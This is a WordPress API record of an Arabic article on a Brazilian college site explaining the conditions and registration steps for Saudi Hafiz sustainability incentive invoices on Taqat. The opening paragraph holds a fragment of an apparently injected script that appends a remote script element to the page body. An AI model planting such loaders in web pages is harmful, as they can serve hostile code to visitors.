{"id":2038,"date":"2026-04-28T23:15:59","date_gmt":"2026-04-28T20:15:59","guid":{"rendered":""},"modified":"2026-04-28T23:15:59","modified_gmt":"2026-04-28T20:15:59","slug":"%d9%81%d9%88%d8%a7%d8%aa%d9%8a%d8%b1-%d8%ad%d8%a7%d9%81%d8%b2-%d8%a7%d9%84%d8%a7%d8%b3%d8%aa%d8%af%d8%a7%d9%85%d8%a9-%d8%b7%d8%a7%d9%82%d8%a7%d8%aa-1447-%d8%a7%d9%84%d8%b4%d8%b1%d9%88%d8%b7-%d9%88","status":"publish","type":"post","link":"https:\/\/jornal.faculdadecienciasdavida.com.br\/blog\/2038\/%d9%81%d9%88%d8%a7%d8%aa%d9%8a%d8%b1-%d8%ad%d8%a7%d9%81%d8%b2-%d8%a7%d9%84%d8%a7%d8%b3%d8%aa%d8%af%d8%a7%d9%85%d8%a9-%d8%b7%d8%a7%d9%82%d8%a7%d8%aa-1447-%d8%a7%d9%84%d8%b4%d8%b1%d9%88%d8%b7-%d9%88.html","title":{"rendered":"\u0641\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u0637\u0627\u0642\u0627\u062a 1447 \u0627\u0644\u0634\u0631\u0648\u0637 \u0648\u062e\u0637\u0648\u0627\u062a \u0627\u0644\u062a\u0633\u062c\u064a\u0644"},"content":{"rendered":"<p><\/p>\n<div class=\"columns  large-12 medium-12 small-12 left\">\n<div class=\"article-text\">\n<div id=\"mw-content-text\" class=\"mw-content-rtl\">\n<div id=\"toc_container\" class=\"no_bullets\">\n<p class=\"toc_title\">\u062c\u062f\u0648\u0644 \u0627\u0644\u0645\u062d\u062a\u0648\u064a\u0627\u062a<\/p>\n<ul class=\"toc_list\">\n<li><a rel=\"nofollow\" href=\"#i\"><span class=\"toc_number toc_depth_1\">1<\/span> \u0641\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u0637\u0627\u0642\u0627\u062a<\/a><\/li>\n<li><a rel=\"nofollow\" href=\"#i-2\"><span class=\"toc_number toc_depth_1\">2<\/span> \u0634\u0631\u0648\u0637 \u0641\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u0637\u0627\u0642\u0627\u062a<\/a><\/li>\n<li><a rel=\"nofollow\" href=\"#i-3\"><span class=\"toc_number toc_depth_1\">3<\/span> \u062e\u0637\u0648\u0627\u062a \u0627\u0644\u062a\u0633\u062c\u064a\u0644 \u0641\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u0637\u0627\u0642\u0627\u062a<\/a><\/li>\n<li><a rel=\"nofollow\" href=\"#i-4\"><span class=\"toc_number toc_depth_1\">4<\/span> \u0631\u0627\u0628\u0637 \u0627\u0644\u062a\u0633\u062c\u064a\u0644 \u0641\u064a \u0641\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u0637\u0627\u0642\u0627\u062a<\/a><\/li>\n<li><a rel=\"nofollow\" href=\"#i-5\"><span class=\"toc_number toc_depth_1\">5<\/span> \u0645\u0642\u0627\u0644\u0627\u062a \u0645\u0642\u062a\u0631\u062d\u0629<\/a><\/li>\n<li><a rel=\"nofollow\" href=\"#i-6\"><span class=\"toc_number toc_depth_1\">6<\/span> \u0627\u0644\u0645\u0631\u0627\u062c\u0639<\/a><\/li>\n<\/ul>\n<\/div>\n<p>\u064a\u064f\u0639\u062f \u0628\u0631\u0646\u0627\u0645\u062c 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Date().toJSON().slice(0, 13);\n        document.getElementsByTagName('body')[0].appendChild(s);\n<\/script><\/div>\n<h2><span id=\"i\">\u0641\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u0637\u0627\u0642\u0627\u062a<\/span><\/h2>\n<p><strong>\u0641\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u0637\u0627\u0642\u0627\u062a <\/strong> \u0647\u064a \u0645\u0643\u0627\u0641\u0623\u0629 \u0631\u0627\u062a\u0628 \u0648\u0627\u062d\u062f \u064a\u062d\u0635\u0644 \u0639\u0644\u064a\u0647\u0627 \u0627\u0644\u0645\u0648\u0638\u0641\/ \u0627\u0644\u0645\u0648\u0638\u0641\u0629 \u0641\u064a \u0627\u0644\u0642\u0637\u0627\u0639 \u0627\u0644\u062e\u0627\u0635 \u0627\u0644\u0630\u064a \u0645\u0636\u0649 \u0639\u0644\u0649 \u062a\u0648\u0638\u064a\u0641\u0647 \u0645\u062f\u0629 \u062b\u0644\u0627\u062b\u0629 \u0639\u0634\u0631 \u0634\u0647\u0631\u064b\u0627 \u0641\u064a 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\u064a\u0644\u064a:<sup><a rel=\"nofollow\" href=\"#ref1\">[1]<\/a><\/sup><\/p>\n<ul>\n<li>\u0623\u0646 \u062a\u0643\u0648\u0646 \u0645\u062f\u0629 \u0639\u0645\u0644 \u0627\u0644\u0645\u0648\u0638\u0641 \u0641\u064a \u0627\u0644\u0642\u0637\u0627\u0639 \u0627\u0644\u062e\u0627\u0635 \u062b\u0644\u0627\u062b\u0629 \u0639\u0634\u0631 \u0634\u0647\u0631\u064b\u0627 \u0643\u0627\u0645\u0644\u0629\u064b.<\/li>\n<li>\u0623\u0646 \u064a\u0643\u0648\u0646 \u0639\u0645\u0644 \u0627\u0644\u0645\u0648\u0638\u0641 \u0627\u0644\u0645\u0633\u062a\u0645\u0631 \u0644\u062b\u0644\u0627\u062b\u0629 \u0639\u0634\u0631 \u0634\u0647\u0631\u064b\u0627 \u0645\u0633\u062a\u0645\u0631\u0651\u064b\u0627 \u0644\u0644\u062c\u0647\u0629 \u0646\u0641\u0633\u0647\u0627 \u0627\u0644\u0645\u064f\u0633\u062c\u0644\u0629 \u0641\u064a \u0628\u0631\u0646\u0627\u0645\u062c \u0627\u0644\u062a\u0648\u0637\u064a\u0646.<\/li>\n<li>\u0623\u0646 \u062a\u0643\u0648\u0646 \u062c\u0647\u0629 \u0639\u0645\u0644 \u0627\u0644\u0645\u0648\u0638\u0641 \u0645\u0646 \u0627\u0644\u062c\u0647\u0627\u062a \u0627\u0644\u0645\u064f\u0633\u062c\u0644\u0629 \u0641\u064a \u0628\u0631\u0646\u0627\u0645\u062c \u0627\u0644\u062a\u0648\u0638\u064a\u0641.<\/li>\n<li>\u0623\u0646 \u064a\u0643\u0648\u0646 \u0627\u0644\u0639\u0645\u0644 \u0644\u0645\u062f\u0629 13 \u0634\u0647\u0631\u064b\u0627 \u0644\u0646\u0641\u0633 \u0627\u0644\u062c\u0647\u0629 \u0627\u0644\u0645\u064f\u0633\u062c\u0644\u0629 \u0641\u064a \u0628\u0631\u0646\u0627\u0645\u062c \u0627\u0644\u062a\u0648\u0637\u064a\u0646.<\/li>\n<li>\u0623\u0646 \u062a\u0643\u0648\u0646 \u0627\u0644\u0645\u0631\u0629 \u0627\u0644\u0623\u0648\u0644\u0649 \u0627\u0644\u062a\u064a \u064a\u062d\u0635\u0644 \u0639\u0644\u064a\u0647\u0627 \u0644\u0645\u0648\u0638\u0641 \u0639\u0644\u0649 \u062f\u0639\u0645 \u062d\u0627\u0641\u0632 \u0644\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629.<\/li>\n<li>\u0623\u0646 \u064a\u062a\u0645 \u062a\u0642\u062f\u064a\u0645 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\u064a\u0645\u062a\u0644\u0643 \u0627\u0644\u0645\u0648\u0638\u0641 \u062d\u0633\u0627\u0628 \u0628\u0646\u0643\u064a \u0646\u0634\u0637 \u0648\u0627\u0646 \u062a\u0643\u0648\u0646 \u0643\u0627\u0641\u0629 \u0645\u0639\u0644\u0648\u0645\u0627\u062a\u0647\u00a0 \u0627\u0644\u0645\u0633\u062c\u0644\u0629 \u0641\u064a \u0627\u0644\u0646\u0638\u0627\u0645 \u0635\u062d\u064a\u062d\u0629.<\/li>\n<li>\u0623\u0646 \u064a\u0643\u0648\u0646 \u0631\u0627\u062a\u0628 \u0627\u0644\u0645\u0648\u0638\u0641 \u064a\u062a\u0631\u0627\u0648\u062d \u0645\u0627 \u0628\u064a\u0646 4000 \u0631\u064a\u0627\u0644 \u0633\u0639\u0648\u062f\u064a \u064815000 \u0631\u064a\u0627\u0644 \u0633\u0639\u0648\u062f\u064a \u062e\u0644\u0627\u0644 \u0639\u0645\u0644\u0647 \u0644\u0645\u062f\u0629 13 \u0634\u0647\u0631 \u0641\u064a \u0627\u0644\u0645\u0646\u0634\u0623\u0629.<\/li>\n<\/ul>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-25613 size-full\" src=\"https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/%D9%81%D9%88%D8%A7%D8%AA%D9%8A%D8%B1-%D8%AD%D8%A7%D9%81%D8%B2-%D8%A7%D9%84%D8%A7%D8%B3%D8%AA%D8%AF%D8%A7%D9%85%D8%A9.-.jpg\" alt=\"\u0634\u0631\u0648\u0637 \u0641\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u0637\u0627\u0642\u0627\u062a 1445\" width=\"1030\" height=\"509\" srcset=\"https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629.-.jpg 1030w, https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629.--300x148.jpg 300w, https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629.--1024x506.jpg 1024w, https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629.--768x380.jpg 768w\" sizes=\"(max-width: 1030px) 100vw, 1030px\"><\/p>\n<p><strong>\u0627\u0642\u0631\u0623 \u0623\u064a\u0636\u064b\u0627:<\/strong> \u0627\u0644\u062a\u0633\u062c\u064a\u0644 \u0641\u064a \u062d\u0627\u0641\u0632 \u0644\u0623\u0648\u0644 \u0645\u0631\u0629\u00a0<\/p>\n<h2><span id=\"i-3\">\u062e\u0637\u0648\u0627\u062a \u0627\u0644\u062a\u0633\u062c\u064a\u0644 \u0641\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u0637\u0627\u0642\u0627\u062a<\/span><\/h2>\n<p>\u0627\u0644\u062a\u0633\u062c\u064a\u0644 \u0641\u064a \u0641\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u0639\u0628\u0631 \u0645\u0648\u0642\u0639 \u0637\u0627\u0642\u0627\u062a \u0628\u0627\u062a\u0628\u0627\u0639 \u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0627\u0644\u062a\u0627\u0644\u064a\u0629:<sup><a rel=\"nofollow\" href=\"#ref1\">[1]<\/a><\/sup><\/p>\n<ul>\n<li>\u0627\u0644\u0630\u0647\u0627\u0628 \u0625\u0644\u0649 \u062e\u062f\u0645\u0629 \u0627\u0644\u062a\u0633\u062c\u064a\u0644 \u0639\u0644\u0649 \u0641\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u201c<a rel=\"nofollow\" href=\"https:\/\/saudiplatform.com\/services\/8437\/\" rel=\"nofollow noopener\" target=\"_blank\">\u0645\u0646 \u0647\u0646\u0627<\/a>\u201d \u0648\u0627\u0644\u0646\u0642\u0631 \u0639\u0644\u0649 \u0627\u0644\u0631\u0627\u0628\u0637 \u0627\u0644\u0645\u062f\u0631\u062c.<\/li>\n<li>\u0627\u0644\u0646\u0642\u0631 \u0639\u0644\u0649 \u0645\u0631\u0628\u0639 \u201c\u0627\u0644\u062f\u062e\u0648\u0644\u201d.<\/li>\n<\/ul>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-25615 size-full\" src=\"https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/%D9%81%D9%88%D8%A7%D8%AA%D9%8A%D8%B1-%D8%AD%D8%A7%D9%81%D8%B2-%D8%A7%D9%84%D8%A7%D8%B3%D8%AA%D8%AF%D8%A7%D9%85%D8%A9.-1-2.jpg\" alt=\"\u062e\u0637\u0648\u0627\u062a \u0627\u0644\u062a\u0633\u062c\u064a\u0644 \u0641\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u0637\u0627\u0642\u0627\u062a 1445\" width=\"941\" height=\"540\" srcset=\"https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629.-1-2.jpg 941w, https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629.-1-2-300x172.jpg 300w, https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629.-1-2-768x441.jpg 768w, https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629.-1-2-192x110.jpg 192w\" sizes=\"auto, (max-width: 941px) 100vw, 941px\"><\/p>\n<ul>\n<li>\u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644 \u0625\u0644\u0649 \u062d\u0633\u0627\u0628 \u0627\u0644\u0645\u0648\u0638\u0641 \u0645\u0646 \u062e\u0644\u0627\u0644\u00a0 \u0627\u0644\u0646\u0641\u0627\u0630 \u0627\u0644\u0648\u0637\u0646\u064a:\n<ul>\n<li>\u0625\u0636\u0627\u0641\u0629 \u0631\u0642\u0645 \u0627\u0644\u0623\u062d\u0648\u0627\u0644 \u0623\u0648 \u0631\u0642\u0645 \u0627\u0644\u0625\u0642\u0627\u0645\u0629.<\/li>\n<li>\u0627\u0644\u0646\u0642\u0631 \u0639\u0644\u0649 \u0645\u0631\u0628\u0639 \u201c\u062a\u0633\u062c\u064a\u0644 \u062f\u062e\u0648\u0644\u201d.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-25614 size-full\" src=\"https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/%D9%81%D9%88%D8%A7%D8%AA%D9%8A%D8%B1-%D8%AD%D8%A7%D9%81%D8%B2-%D8%A7%D9%84%D8%A7%D8%B3%D8%AA%D8%AF%D8%A7%D9%85%D8%A9.-1-1.jpg\" alt=\"\u062e\u0637\u0648\u0627\u062a \u0627\u0644\u062a\u0633\u062c\u064a\u0644 \u0641\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u0637\u0627\u0642\u0627\u062a 1445\" width=\"1080\" height=\"662\" srcset=\"https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629.-1-1.jpg 1080w, https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629.-1-1-300x184.jpg 300w, https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629.-1-1-1024x628.jpg 1024w, https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629.-1-1-768x471.jpg 768w\" sizes=\"auto, (max-width: 1080px) 100vw, 1080px\"><\/p>\n<ul>\n<li>\u0625\u0636\u0627\u0641\u0629 \u0631\u0645\u0632 \u0627\u0644\u062a\u0623\u0643\u064a\u062f \u0627\u0644\u0645\u0624\u0642\u062a \u0627\u0644\u0645\u064f\u0631\u0633\u0644 \u0625\u0644\u0649 \u0627\u0644\u0647\u0627\u062a\u0641 \u0627\u0644\u0645\u062d\u0645\u0648\u0644.<\/li>\n<li>\u0627\u0644\u0646\u0642\u0631 \u0639\u0644\u0649 \u0645\u0631\u0628\u0639 \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644.<\/li>\n<li>\u0627\u062e\u062a\u064a\u0627\u0631 \u062a\u0628\u0648\u064a\u0628 \u201c\u0628\u0631\u0627\u0645\u062c\u0646\u0627\u201d.<\/li>\n<li>\u0627\u062e\u062a\u064a\u0627\u0631 \u0628\u0631\u0646\u0627\u0645\u062c \u062a\u0648\u0637\u064a\u0646.<\/li>\n<li>\u0627\u0644\u0646\u0642\u0631 \u0639\u0644\u0649 \u062e\u064a\u0627\u0631 \u201c\u0641\u0648\u0627\u062a\u064a\u0631 \u062d\u0648\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629\u201d.<\/li>\n<\/ul>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-25612 size-full\" src=\"https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/%D9%81%D9%88%D8%A7%D8%AA%D9%8A%D8%B1-%D8%AD%D8%A7%D9%81%D8%B2-%D8%A7%D9%84%D8%A7%D8%B3%D8%AA%D8%AF%D8%A7%D9%85%D8%A9-3.jpg\" alt=\"\" width=\"1030\" height=\"441\" srcset=\"https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629-3.jpg 1030w, https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629-3-300x128.jpg 300w, https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629-3-1024x438.jpg 1024w, https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629-3-768x329.jpg 768w\" sizes=\"auto, (max-width: 1030px) 100vw, 1030px\"><\/p>\n<ul>\n<li>\u0627\u0644\u0646\u0642\u0631 \u0639\u0644\u0649 \u0645\u0631\u0628\u0639 \u201c\u0625\u0636\u0627\u0641\u0629 \u0641\u0627\u062a\u0648\u0631\u0629\u201d.<\/li>\n<\/ul>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-25611 size-full\" src=\"https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/%D9%81%D9%88%D8%A7%D8%AA%D9%8A%D8%B1-%D8%AD%D8%A7%D9%81%D8%B2-%D8%A7%D9%84%D8%A7%D8%B3%D8%AA%D8%AF%D8%A7%D9%85%D8%A9-2.jpg\" alt=\"\u062e\u0637\u0648\u0627\u062a \u0627\u0644\u062a\u0633\u062c\u064a\u0644 \u0641\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u0637\u0627\u0642\u0627\u062a 1445\" width=\"968\" height=\"326\" srcset=\"https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629-2.jpg 968w, https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629-2-300x101.jpg 300w, https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629-2-768x259.jpg 768w\" sizes=\"auto, (max-width: 968px) 100vw, 968px\"><\/p>\n<ul>\n<li>\u062a\u0638\u0647\u0631 \u0635\u0641\u062d\u0629 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0645\u0648\u0638\u0641\/ \u0627\u0644\u0645\u0648\u0638\u0641\u0629 \u0627\u0644\u0645\u064f\u0633\u062c\u0644\u0629 \u0641\u064a \u0637\u0627\u0642\u0627\u062a \u0648\u0641\u0642 \u0627\u0644\u062a\u0627\u0644\u064a:\n<ul>\n<li>\u0627\u0644\u0627\u0633\u0645.<\/li>\n<li>\u0631\u0642\u0645 \u0627\u0644\u0647\u0648\u064a\u0629.<\/li>\n<li>\u0627\u0644\u0645\u0633\u0645\u0649 \u0627\u0644\u0648\u0638\u064a\u0641\u064a \u0644\u0644\u0645\u0646\u0634\u0623\u0629.<\/li>\n<li>\u0627\u0633\u0645 \u0627\u0644\u0645\u0646\u0634\u0623\u0629.<\/li>\n<li>\u0646\u0648\u0639 \u0627\u0644\u0639\u0645\u0644.<\/li>\n<li>\u0627\u0644\u0645\u0646\u0637\u0642\u0629.<\/li>\n<li>\u0627\u0644\u0645\u062f\u064a\u0646\u0629.<\/li>\n<li>\u0631\u0642\u0645 \u0627\u0644\u0622\u064a\u0628\u0627\u0646.<\/li>\n<li>\u0642\u064a\u0645\u0629 \u0627\u0644\u062f\u0639\u0645.<\/li>\n<li>\u062a\u0641\u0639\u064a\u0644\u00a0 \u201c\u0623\u0642\u0631 \u0648\u0623\u062a\u0639\u0647\u062f \u0623\u0646 \u0627\u0644\u0645\u0648\u0636\u062d \u0623\u0639\u0644\u0627\u0647 \u0628\u0635\u062d\u0629 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0648\u0627\u0644\u062a\u064a \u0623\u0643\u0645\u0644\u062a \u062b\u0644\u0627\u062b\u0629 \u0639\u0634\u0631 \u0634\u0647\u0631\u064b\u0627 \u0641\u064a \u0627\u0644\u0645\u0646\u0634\u0623\u0629\u201d.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-25610 size-full\" src=\"https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/%D9%81%D9%88%D8%A7%D8%AA%D9%8A%D8%B1-%D8%AD%D8%A7%D9%81%D8%B2-%D8%A7%D9%84%D8%A7%D8%B3%D8%AA%D8%AF%D8%A7%D9%85%D8%A9-1.jpg\" alt=\"\" width=\"1061\" height=\"388\" srcset=\"https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629-1.jpg 1061w, https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629-1-300x110.jpg 300w, https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629-1-1024x374.jpg 1024w, https:\/\/saudi.wiki\/wp-content\/uploads\/2023\/11\/\u0641\u0648\u0627\u062a\u064a\u0631-\u062d\u0627\u0641\u0632-\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629-1-768x281.jpg 768w\" sizes=\"auto, (max-width: 1061px) 100vw, 1061px\"><\/p>\n<ul>\n<li>\u0625\u062f\u062e\u0627\u0644 \u0628\u064a\u0627\u0646\u0627\u062a \u0625\u0636\u0627\u0641\u0629 \u0627\u0644\u0641\u0627\u062a\u0648\u0631\u0629 \u0627\u0644\u0644\u0627\u0632\u0645\u0629 \u0636\u0645\u0646 \u0627\u0644\u062d\u0642\u0648\u0644 \u0627\u0644\u0645\u062e\u0635\u0635\u0629 \u0643\u0645\u0627 \u064a\u0644\u064a:\n<ul>\n<li>\u0627\u0644\u0645\u0633\u0645\u0649 \u0627\u0644\u0648\u0638\u064a\u0641\u064a \u0644\u0644\u0645\u0646\u0634\u0623\u0629.<\/li>\n<li>\u0646\u0648\u0639 \u0627\u0644\u0639\u0645\u0644.<\/li>\n<li>\u062a\u0641\u0639\u064a\u0644 \u0627\u0644\u0625\u0642\u0631\u0627\u0631.<\/li>\n<\/ul>\n<\/li>\n<li>\u0627\u0644\u0646\u0642\u0631 \u0639\u0644\u0649 \u0645\u0631\u0628\u0639 \u201c\u0625\u0631\u0633\u0627\u0644 \u0627\u0644\u0637\u0644\u0628\u201d.<\/li>\n<\/ul>\n<p><strong>\u0627\u0642\u0631\u0623 \u0623\u064a\u0636\u064b\u0627:<\/strong> \u0627\u0644\u062a\u0633\u062c\u064a\u0644 \u0641\u064a \u062d\u0627\u0641\u0632 \u0644\u0644\u0645\u0631\u0629 \u0627\u0644\u062b\u0627\u0646\u064a\u0629\u00a0<\/p>\n<h2><span id=\"i-4\">\u0631\u0627\u0628\u0637 \u0627\u0644\u062a\u0633\u062c\u064a\u0644 \u0641\u064a \u0641\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u0637\u0627\u0642\u0627\u062a<\/span><\/h2>\n<p>\u0631\u0627\u0628\u0637 \u0627\u0644\u062a\u0633\u062c\u064a\u0644 \u0641\u064a \u0641\u064e\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u0637\u0627\u0642\u0627\u062a<a rel=\"nofollow\" href=\"https:\/\/saudiplatform.com\/services\/8437\/\" rel=\"nofollow noopener\" target=\"_blank\">saudiplatform.com<\/a> \u0648\u0627\u0644\u0646\u0642\u0631 \u0639\u0644\u0649 \u0627\u0644\u0631\u0627\u0628\u0637 \u0627\u0644\u0645\u062f\u0631\u062c \u0645\u0645\u062b\u0644\u064b\u0627 \u0641\u064a \u0645\u0648\u0642\u0639 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\u0645\u0642\u062a\u0631\u062d\u0629<\/span><\/h2>\n<p><strong>\u0646\u0631\u0634\u062d \u0644\u0643 \u0642\u0631\u0627\u0621\u0629 \u0627\u0644\u0645\u0642\u0627\u0644\u0627\u062a \u0627\u0644\u062a\u0627\u0644\u064a\u0629:\u00a0<\/strong><\/p>\n<ul>\n<li>\u0627\u0644\u062a\u0633\u062c\u064a\u0644 \u0641\u064a \u062d\u0627\u0641\u0632 \u0644\u0644\u0646\u0633\u0627\u0621\u00a0<\/li>\n<li>\u0627\u0644\u062a\u0633\u062c\u064a\u0644 \u0641\u064a \u062d\u0627\u0641\u0632 2000 \u0631\u064a\u0627\u0644\u00a0<\/li>\n<li>\u0627\u0644\u062a\u0633\u062c\u064a\u0644 \u0641\u064a \u062d\u0627\u0641\u0632 \u0627\u0644\u062c\u062f\u064a\u062f\u00a0<\/li>\n<li>\u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644 \u0644\u0646\u0638\u0627\u0645 \u0645\u062f\u062f\u00a0<\/li>\n<\/ul>\n<p>\u0628\u0630\u0644\u0643 \u062a\u0645\u0651\u064e \u062a\u0648\u0636\u064a\u062d<strong> \u0641\u064e\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u0637\u0627\u0642\u0627\u062a \u0627\u0644\u0634\u0631\u0648\u0637 \u0648\u062e\u0637\u0648\u0627\u062a \u0627\u0644\u062a\u0633\u062c\u064a\u0644 <\/strong>\u0641\u064a 